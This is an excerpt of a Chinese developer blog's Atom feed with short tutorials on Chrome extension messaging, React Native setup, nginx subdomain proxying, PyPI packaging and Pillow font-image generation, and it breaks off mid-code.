<id>https://chenzuoli.github.io/2025/01/12/chrome%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F%E5%BC%80%E5%8F%91-%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F%E4%B8%8E%E5%86%85%E5%AE%B9%E8%84%9A%E6%9C%AC%E4%B9%8B%E9%97%B4%E7%9A%84%E6%B6%88%E6%81%AF%E4%BC%A0%E9%80%92/</id>
<published>2025-01-12T02:02:09.000Z</published>
<updated>2025-01-12T03:01:19.261Z</updated>
<content type="html"><![CDATA[<p>chrome扩展程序的开发中,有两块程序代码,一是扩展程序代码,二是嵌入到网页的内容脚本代码。他们之间如何进行消息传递呢?</p><span id="more"></span><ol><li><p>内容脚本向扩展程序中的事件监听器发送一条消息:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">chrome.runtime.sendMessage(</span><br><span class="line"> extensionId?: string,</span><br><span class="line"> message: any,</span><br><span class="line"> options?: object,</span><br><span class="line"> callback?: function,</span><br><span class="line">)</span><br><span class="line">参考:https://developer.chrome.google.cn/docs/extensions/reference/api/runtime?hl=zh-cn&authuser=0#method-sendMessage</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>扩展程序监听消息:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">chrome.runtime.onMessage.addListener(</span><br><span class="line"> callback: function,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p>参考:<a href="https://developer.chrome.google.cn/docs/extensions/reference/api/runtime?hl=zh-cn&authuser=0#event-onMessage">https://developer.chrome.google.cn/docs/extensions/reference/api/runtime?hl=zh-cn&authuser=0#event-onMessage</a></p></li><li><p>扩展程序向内容脚本发送消息:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">chrome.tabs.sendMessage(</span><br><span class="line"> tabId: number,</span><br><span class="line"> message: any,</span><br><span class="line"> options?: object,</span><br><span class="line"> callback?: function,</span><br><span class="line">)</span><br><span class="line">// tabId即指定的标签页ID,向指定标签页中的 content 脚本发送一条消息,并在发回响应时运行一个可选回调。在当前扩展程序的指定标签页中运行的每个内容脚本都会触发 runtime.onMessage 事件。</span><br></pre></td></tr></table></figure><p>参考:<a href="https://developer.chrome.google.cn/docs/extensions/reference/api/tabs?authuser=0&hl=zh-cn#method-sendMessage">https://developer.chrome.google.cn/docs/extensions/reference/api/tabs?authuser=0&hl=zh-cn#method-sendMessage</a></p></li></ol><p>内容脚本监听消息:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">chrome.runtime.onMessage.addListener(</span><br><span class="line"> callback: function,</span><br><span class="line">)</span><br></pre></td></tr></table></figure><p><a href="https://developer.chrome.google.cn/docs/extensions/reference/api/runtime?authuser=0&hl=zh-cn#event-onMessage">https://developer.chrome.google.cn/docs/extensions/reference/api/runtime?authuser=0&hl=zh-cn#event-onMessage</a></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>chrome扩展程序的开发中,有两块程序代码,一是扩展程序代码,二是嵌入到网页的内容脚本代码。他们之间如何进行消息传递呢?</p></summary>
<category term="扩展程序" scheme="https://chenzuoli.github.io/categories/%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F/"/>
<category term="开发" scheme="https://chenzuoli.github.io/categories/%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F/%E5%BC%80%E5%8F%91/"/>
<category term="chrome" scheme="https://chenzuoli.github.io/categories/%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F/%E5%BC%80%E5%8F%91/chrome/"/>
<category term="chrome" scheme="https://chenzuoli.github.io/tags/chrome/"/>
<category term="扩展程序" scheme="https://chenzuoli.github.io/tags/%E6%89%A9%E5%B1%95%E7%A8%8B%E5%BA%8F/"/>
<category term="内容脚本" scheme="https://chenzuoli.github.io/tags/%E5%86%85%E5%AE%B9%E8%84%9A%E6%9C%AC/"/>
</entry>
<entry>
<title>安装ReactNative环境</title>
<link href="https://chenzuoli.github.io/2024/12/29/%E5%AE%89%E8%A3%85ReactNative%E7%8E%AF%E5%A2%83/"/>
<id>https://chenzuoli.github.io/2024/12/29/%E5%AE%89%E8%A3%85ReactNative%E7%8E%AF%E5%A2%83/</id>
<published>2024-12-29T02:19:19.000Z</published>
<updated>2024-12-29T03:50:43.459Z</updated>
<content type="html"><![CDATA[<p>这里记录下如何在windows上安装React Native环境。</p><span id="more"></span><hr><ol><li><p>安装chocolatey,windows上的包管理工具</p></li><li><p>安装node、jdk:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">choco install -y nodejs-lts microsoft-openjdk17</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p>安装android studio<br> android sdk<br> android sdk platform<br> android virtual device</p></li><li><p>初始化项目<br>expo-cli:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">npm install -g expo-cli</span><br><span class="line">npx create-expo-app YourProjectName</span><br></pre></td></tr></table></figure></li><li><p>运行项目<br>进入项目根目录</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npx expo start</span><br></pre></td></tr></table></figure></li></ol><hr><p>欢迎关注微信公众号:【乐知付加密平台】<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>这里记录下如何在windows上安装React Native环境。</p></summary>
<category term="前端" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/"/>
<category term="react native" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/react-native/"/>
<category term="android" scheme="https://chenzuoli.github.io/categories/%E5%89%8D%E7%AB%AF/react-native/android/"/>
<category term="android" scheme="https://chenzuoli.github.io/tags/android/"/>
<category term="react native" scheme="https://chenzuoli.github.io/tags/react-native/"/>
<category term="ios" scheme="https://chenzuoli.github.io/tags/ios/"/>
<category term="web" scheme="https://chenzuoli.github.io/tags/web/"/>
</entry>
<entry>
<title>配置二级域名与nginx代理</title>
<link href="https://chenzuoli.github.io/2024/12/16/%E9%85%8D%E7%BD%AE%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D/"/>
<id>https://chenzuoli.github.io/2024/12/16/%E9%85%8D%E7%BD%AE%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D/</id>
<published>2024-12-16T14:56:10.000Z</published>
<updated>2024-12-16T15:07:15.465Z</updated>
<content type="html"><![CDATA[<p>看这里。</p><span id="more"></span><p>你在哪里买的域名,就去域名管理控制台,</p><ol><li><p>查看域名详情</p></li><li><p>添加解析记录<br><img src="/2024/12/16/%E9%85%8D%E7%BD%AE%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D/image-2.png" alt="add"></p></li><li><p>填写你想要解析的二级域名,和对应的ip地址</p></li></ol><p>nginx已经代理了顶级域名,再增加一个二级域名代理,配置看这里:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"># 顶级域名nginx代理配置</span><br><span class="line">server {</span><br><span class="line"> listen 443 ssl;</span><br><span class="line"> server_name lezhifu.cc www.lezhifu.cc;</span><br><span class="line"></span><br><span class="line"> ssl_certificate /xxx/key.pem;</span><br><span class="line"> ssl_certificate_key /xxx/key.key;</span><br><span class="line"></span><br><span class="line"> ssl_session_cache shared:SSL:1m;</span><br><span class="line"> ssl_session_timeout 5m;</span><br><span class="line"></span><br><span class="line"> location / {</span><br><span class="line"> root /opt/;</span><br><span class="line"> index index.html index.htm;</span><br><span class="line"> }</span><br><span class="line"> location /admin/ {</span><br><span class="line"> proxy_set_header Host $http_host;</span><br><span class="line"> proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line"> proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;</span><br><span class="line"> proxy_set_header X-Forwarded-Proto $scheme;</span><br><span class="line"> proxy_pass http://127.0.0.1:5000;</span><br><span class="line"> }</span><br><span class="line"> location /static/ {</span><br><span class="line"> root /opt/;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"># 二级域名代理配置</span><br><span class="line">server {</span><br><span class="line"> listen 443 ssl;</span><br><span class="line"> server_name software.lezhifu.cc;</span><br><span class="line"></span><br><span class="line"> ssl_certificate /xxx/key.pem;</span><br><span class="line"> ssl_certificate_key /xxx/key.key;</span><br><span class="line"></span><br><span class="line"> ssl_session_cache shared:SSL:1m;</span><br><span class="line"> ssl_session_timeout 5m;</span><br><span class="line"></span><br><span class="line"> location / {</span><br><span class="line"> root /opt/software;</span><br><span class="line"> index index.html index.htm;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>顶级域名的代码在/opt下<br>二级域名的代码放在/opt/software目录下</p><p>重启nginx:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/local/nginx/sbin/nginx -s reload</span><br></pre></td></tr></table></figure><p>好了,大家试试吧。</p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>看这里。</p></summary>
<category term="网站" scheme="https://chenzuoli.github.io/categories/%E7%BD%91%E7%AB%99/"/>
<category term="nginx" scheme="https://chenzuoli.github.io/categories/%E7%BD%91%E7%AB%99/nginx/"/>
<category term="二级域名代理" scheme="https://chenzuoli.github.io/categories/%E7%BD%91%E7%AB%99/nginx/%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D%E4%BB%A3%E7%90%86/"/>
<category term="nginx" scheme="https://chenzuoli.github.io/tags/nginx/"/>
<category term="二级域名" scheme="https://chenzuoli.github.io/tags/%E4%BA%8C%E7%BA%A7%E5%9F%9F%E5%90%8D/"/>
</entry>
<entry>
<title>发布你的第一个python包</title>
<link href="https://chenzuoli.github.io/2024/12/14/%E5%8F%91%E5%B8%83%E4%BD%A0%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AApython%E5%8C%85/"/>
<id>https://chenzuoli.github.io/2024/12/14/%E5%8F%91%E5%B8%83%E4%BD%A0%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AApython%E5%8C%85/</id>
<published>2024-12-14T10:35:22.000Z</published>
<updated>2025-01-09T13:17:35.068Z</updated>
<content type="html"><![CDATA[<p>这里介绍如何将你写的python工具包,打包成whl,并发布到pypi.org网站,使用pip进行安装使用。</p><span id="more"></span><p>大致步骤如下:</p><ol><li>注册测试testpypi.org网站,生成上传的token</li><li>注册正式pypi.org网站,生成上传的token</li><li>编写代码</li><li>规划项目代码目录布局</li><li>编写打包文件pyproject.toml</li><li>upload上传测试testpypi</li><li>upload上传正式pypi</li></ol><p>参考链接:<br><a href="https://packaging.python.org/en/latest/tutorials/packaging-projects/">https://packaging.python.org/en/latest/tutorials/packaging-projects/</a></p><p>第一次打包命令如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># mac/linux</span><br><span class="line">python3 -m pip install --upgrade pip # 安装升级pip</span><br><span class="line">python3 -m pip install --upgrade build # 安装build工具包</span><br><span class="line">python3 -m build # 编译打包</span><br><span class="line">python3 -m pip install --upgrade twine # 安装上传工具包twine</span><br><span class="line">python3 -m twine upload --repository testpypi dist/* # 发布测试testpypi</span><br><span class="line">python3 -m twine upload --repository pypi dist/* # 发布正式pypi</span><br></pre></td></tr></table></figure><p>升级包:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"># windows</span><br><span class="line">py -m build</span><br><span class="line">py -m twine upload --repository testpypi dist/* # 发布测试</span><br><span class="line">py -m twine upload --repository pypi dist/* # 发布生产</span><br><span class="line"></span><br><span class="line"># mac/linux</span><br><span class="line">python3 -m build</span><br><span class="line">python3 -m twine upload --repository testpypi dist/*</span><br><span class="line">python3 -m twine upload --repository pypi dist/*</span><br></pre></td></tr></table></figure><p>项目结构大概如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">packaging_tutorial/</span><br><span class="line">├── LICENSE 开源协议</span><br><span class="line">├── pyproject.toml 打包的配置文件</span><br><span class="line">├── README.md 项目描述</span><br><span class="line">├── src/ 源代码</span><br><span class="line">│ └── example_package_YOUR_USERNAME_HERE/</span><br><span class="line">│ ├── __init__.py</span><br><span class="line">│ └── example.py</span><br><span class="line">└── tests/</span><br></pre></td></tr></table></figure><p>这里再具体介绍下打包的配置文件如何编写:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">[project]</span><br><span class="line">name = "chineserand"</span><br><span class="line">version = "0.0.3"</span><br><span class="line">authors = [</span><br><span class="line"> { name="chenzuoli", email="chenzuoli709@163.com" },</span><br><span class="line">]</span><br><span class="line">description = "随机生成中文字符工具包"</span><br><span class="line">readme = "README.md"</span><br><span class="line">requires-python = ">=3.0"</span><br><span class="line">classifiers = [</span><br><span class="line"> "Programming Language :: Python :: 3",</span><br><span class="line"> "License :: OSI Approved :: MIT License",</span><br><span class="line"> "Operating System :: OS Independent",</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">[project.urls]</span><br><span class="line">Homepage = "https://github.com/chenzuoli/chineserand"</span><br><span class="line">Issues = "https://github.com/chenzuoli/chineserand/issues"</span><br><span class="line"></span><br><span class="line"># 这里是配置打包时,是否包含txt rst数据文件,与根目录下的MANIFEST.in 文件配合使用</span><br><span class="line">[tool.setuptools.packages.find]</span><br><span class="line">where = ["src"]</span><br><span class="line">[tool.setuptools.package-data]</span><br><span class="line">mypkg = ["*.txt", "*.rst"]</span><br></pre></td></tr></table></figure><p>这里是配置打包时,是否包含txt rst数据文件,与根目录下的MANIFEST.in 文件配合使用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[tool.setuptools.packages.find]</span><br><span class="line">where = ["src"]</span><br><span class="line">[tool.setuptools.package-data]</span><br><span class="line">mypkg = ["*.txt", "*.rst"]</span><br></pre></td></tr></table></figure><p>MANIFEST.in 文件内容的写法,参考:<a href="https://setuptools.pypa.io/en/latest/userguide/miscellaneous.html#using-manifest-in">https://setuptools.pypa.io/en/latest/userguide/miscellaneous.html#using-manifest-in</a><br>包含某个文件,就这样写:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">include src/chineserand/*.rst</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>不需要某个文件,就这样写:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">exclude src/chineserand/*.py</span><br></pre></td></tr></table></figure><p>好了,大家慢慢琢磨。</p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>这里介绍如何将你写的python工具包,打包成whl,并发布到pypi.org网站,使用pip进行安装使用。</p></summary>
<category term="Python" scheme="https://chenzuoli.github.io/categories/Python/"/>
<category term="pypi" scheme="https://chenzuoli.github.io/categories/Python/pypi/"/>
<category term="打包" scheme="https://chenzuoli.github.io/categories/Python/pypi/%E6%89%93%E5%8C%85/"/>
<category term="python" scheme="https://chenzuoli.github.io/tags/python/"/>
<category term="pypi" scheme="https://chenzuoli.github.io/tags/pypi/"/>
</entry>
<entry>
<title>随机中文字符生成-python包工具</title>
<link href="https://chenzuoli.github.io/2024/12/14/%E9%9A%8F%E6%9C%BA%E4%B8%AD%E6%96%87%E5%AD%97%E7%AC%A6%E7%94%9F%E6%88%90-python%E5%8C%85%E5%B7%A5%E5%85%B7/"/>
<id>https://chenzuoli.github.io/2024/12/14/%E9%9A%8F%E6%9C%BA%E4%B8%AD%E6%96%87%E5%AD%97%E7%AC%A6%E7%94%9F%E6%88%90-python%E5%8C%85%E5%B7%A5%E5%85%B7/</id>
<published>2024-12-14T10:24:11.000Z</published>
<updated>2024-12-14T10:25:46.536Z</updated>
<content type="html"><![CDATA[<p>这里介绍一个python工具包,随机生成中文文字,方便中文模型训练及随机中文字符串填充场景。</p><span id="more"></span><p>操作如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install chineserand</span><br></pre></td></tr></table></figure><p>代码示例:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">from chineserand import raw</span><br><span class="line">chinese_words = raw(10)</span><br><span class="line">print(chinese_words)</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>项目开源地址:</p><p><a href="https://github.com/chenzuoli/chineserand">https://github.com/chenzuoli/chineserand</a></p><p>如果有任何问题,欢迎提issue。</p><p>后期规划:</p><ol><li><p>随机生成中文词语、语句、段落</p></li><li><p>根据操作系统字符集,生成所有中文字体对应的图片(用于字体模型训练)</p></li></ol><p>本项目由【乐知付加密平台】开源,乐知付加密平台,是一个以用户为中心的内容变现平台,无论是专业创作者还是个人爱好者,都可以通过我们平台实现变现梦想。</p><p>您无需亲自搭建知识付费服务平台,将知识资源放在网盘中,通过加密平台,进行压缩包密码管理,买家支付后展示网盘中压缩包密码,轻松资源变现。</p><p>官网地址:</p><p><a href="https://lezhifu.cc/">www.lezhifu.cc</a></p><hr><p><b>书山有路勤为径,学海无涯苦作舟。</b></p><p>欢迎关注微信公众号:【乐知付加密平台】,您的网络资源可变现<br><img src="/images/wechat_account.png" alt="乐知付加密平台"></p><p>一起学习,一起进步。<br></p>]]></content>
<summary type="html"><p>这里介绍一个python工具包,随机生成中文文字,方便中文模型训练及随机中文字符串填充场景。</p></summary>
<category term="Python" scheme="https://chenzuoli.github.io/categories/Python/"/>
<category term="模型" scheme="https://chenzuoli.github.io/categories/Python/%E6%A8%A1%E5%9E%8B/"/>
<category term="chinese" scheme="https://chenzuoli.github.io/categories/Python/%E6%A8%A1%E5%9E%8B/chinese/"/>
<category term="python" scheme="https://chenzuoli.github.io/tags/python/"/>
<category term="chineserand" scheme="https://chenzuoli.github.io/tags/chineserand/"/>
</entry>
<entry>
<title>字体图片生成</title>
<link href="https://chenzuoli.github.io/2024/12/09/%E5%AD%97%E4%BD%93%E5%9B%BE%E7%89%87%E7%94%9F%E6%88%90/"/>
<id>https://chenzuoli.github.io/2024/12/09/%E5%AD%97%E4%BD%93%E5%9B%BE%E7%89%87%E7%94%9F%E6%88%90/</id>
<published>2024-12-09T14:37:53.000Z</published>
<updated>2024-12-09T15:49:11.689Z</updated>
<content type="html"><![CDATA[<p>众所周知,我们的文字有各种字体,字体通过字体文件方式供操作系统使用,在需要使用字体图片的场景,我们如何快速生成呢?</p><p>这篇文章介绍下,如何通过操作系统自带的字体文件,利用python的pillow包快速生成字体图片。</p><span id="more"></span><ol><li><p>各操作系统字体文件路径<br>windows\linux\macos:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">dirs = []</span><br><span class="line">if sys.platform == "win32":</span><br><span class="line"> # check the windows font repository</span><br><span class="line"> # NOTE: must use uppercase WINDIR, to work around bugs in</span><br><span class="line"> # 1.5.2's os.environ.get()</span><br><span class="line"> windir = os.environ.get("WINDIR")</span><br><span class="line"> if windir:</span><br><span class="line"> dirs.append(os.path.join(windir, "fonts"))</span><br><span class="line">elif sys.platform in ("linux", "linux2"):</span><br><span class="line"> data_home = os.environ.get("XDG_DATA_HOME")</span><br><span class="line"> if not data_home:</span><br><span class="line"> # The freedesktop spec defines the following default directory for</span><br><span class="line"> # when XDG_DATA_HOME is unset or empty. This user-level directory</span><br><span class="line"> # takes precedence over system-level directories.</span><br><span class="line"> data_home = os.path.expanduser("~/.local/share")</span><br><span class="line"> xdg_dirs = [data_home]</span><br><span class="line"></span><br><span class="line"> data_dirs = os.environ.get("XDG_DATA_DIRS")</span><br><span class="line"> if not data_dirs:</span><br><span class="line"> # Similarly, defaults are defined for the system-level directories</span><br><span class="line"> data_dirs = "/usr/local/share:/usr/share"</span><br><span class="line"> xdg_dirs += data_dirs.split(":")</span><br><span class="line"></span><br><span class="line"> dirs += [os.path.join(xdg_dir, "fonts") for xdg_dir in xdg_dirs]</span><br><span class="line">elif sys.platform == "darwin":</span><br><span class="line"> dirs += [</span><br><span class="line"> "/Library/Fonts",</span><br><span class="line"> "/System/Library/Fonts",</span><br><span class="line"> os.path.expanduser("~/Library/Fonts"),</span><br><span class="line"> ]</span><br></pre></td></tr></table></figure></li><li><p>pillow生成图片</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">import os</span><br><span class="line">import random</span><br><span class="line"></span><br><span class="line">import nltk</span><br><span class="line">from PIL import Image, ImageDraw, ImageFont</span><br><span class="line"></span><br><span class="line"># Download the necessary data from nltk</span><br><span class="line">nltk.download('inaugural')</span><br><span class="line"></span><br><span class="line">def wrap_text(text, line_length=4):</span><br><span class="line"> """Wraps the provided text every 'line_length' words."""</span><br><span class="line"> words = text.split()</span><br><span class="line"> return "\n".join([" ".join(words[i:i + line_length]) for i in range(0, len(words), line_length)])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def random_prose_text(line_length=4):</span><br><span class="line"> """Returns a random snippet from the Gutenberg corpus."""</span><br><span class="line"> corpus = nltk.corpus.inaugural.raw()</span><br><span class="line"> start = random.randint(0, len(corpus) - 800)</span><br><span class="line"> end = start + 800</span><br><span class="line"> return wrap_text(corpus[start:end], line_length=line_length)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def gen_images():</span><br><span class="line"> # get font name and font files</span><br><span class="line"> font_files = []</span><br><span class="line"> for font_dir in dirs:</span><br><span class="line"> for font_file in os.listdir(font_dir):</span><br><span class="line"> if font_file.endswith('.ttf') or font_file.endswith('.ttc'):</span><br><span class="line"> font_path = os.path.join(font_dir, font_file)</span><br><span class="line"> font_name = font_file.split('.')[0]</span><br><span class="line"> font_files.append((font_path, font_name))</span><br><span class="line"></span><br><span class="line"> # Generate images for each font file</span><br><span class="line"> for font_path, font_name in font_files:</span><br><span class="line"> # Output the font name so we can see the progress</span><br><span class="line"> print(font_path, font_name)</span><br><span class="line"></span><br><span class="line"> # Counter for the image filename</span><br><span class="line"> j = 0</span><br><span class="line"> for i in range(IMAGES_PER_FONT): # Generate 50 images per font - reduced to 10 for now to make things faster</span><br><span class="line"> # Random font size</span><br><span class="line"> font_size = random.choice(range(18, 72))</span><br><span class="line"></span><br><span class="line"> if font_path.endswith('.ttc'):</span><br><span class="line"> # ttc fonts have multiple fonts in one file, so we need to specify which one we want</span><br><span class="line"> font = ImageFont.truetype(font_path, font_size, index=0)</span><br><span class="line"> elif font_name in FONT_EXCEPTS:</span><br><span class="line"> continue</span><br><span class="line"> else:</span><br><span class="line"> # ttf fonts have only one font in the file</span><br><span class="line"> font = ImageFont.truetype(font_path, font_size)</span><br><span class="line"></span><br><span class="line"> # Determine the number of words that will fit on a line</span><br><span class="line"> font_avg_char_width = font.getbbox('x')[2]</span><br><span class="line"> words_per_line = int(800 / (font_avg_char_width * 5))</span><br><span class="line"> prose_sample = random_prose_text(line_length=words_per_line)</span><br><span class="line"></span><br><span class="line"> # print("generate font image: " + str(prose_sample))</span><br><span class="line"> for text in [prose_sample]:</span><br><span class="line"> img = Image.new('RGB', (800, 400), color="white") # Canvas size</span><br><span class="line"> draw = ImageDraw.Draw(img)</span><br><span class="line"></span><br><span class="line"> # Random offsets, but ensuring that text isn't too far off the canvas</span><br><span class="line"> offset_x = random.randint(-20, 10)</span><br><span class="line"> offset_y = random.randint(-20, 10)</span><br><span class="line"></span><br><span class="line"> # vary the line height</span><br><span class="line"> line_height = random.uniform(0, 1.25) * font_size</span><br><span class="line"> draw.text((offset_x, offset_y), text, fill="black", font=font, spacing=line_height)</span><br><span class="line"></span><br><span class="line"> j += 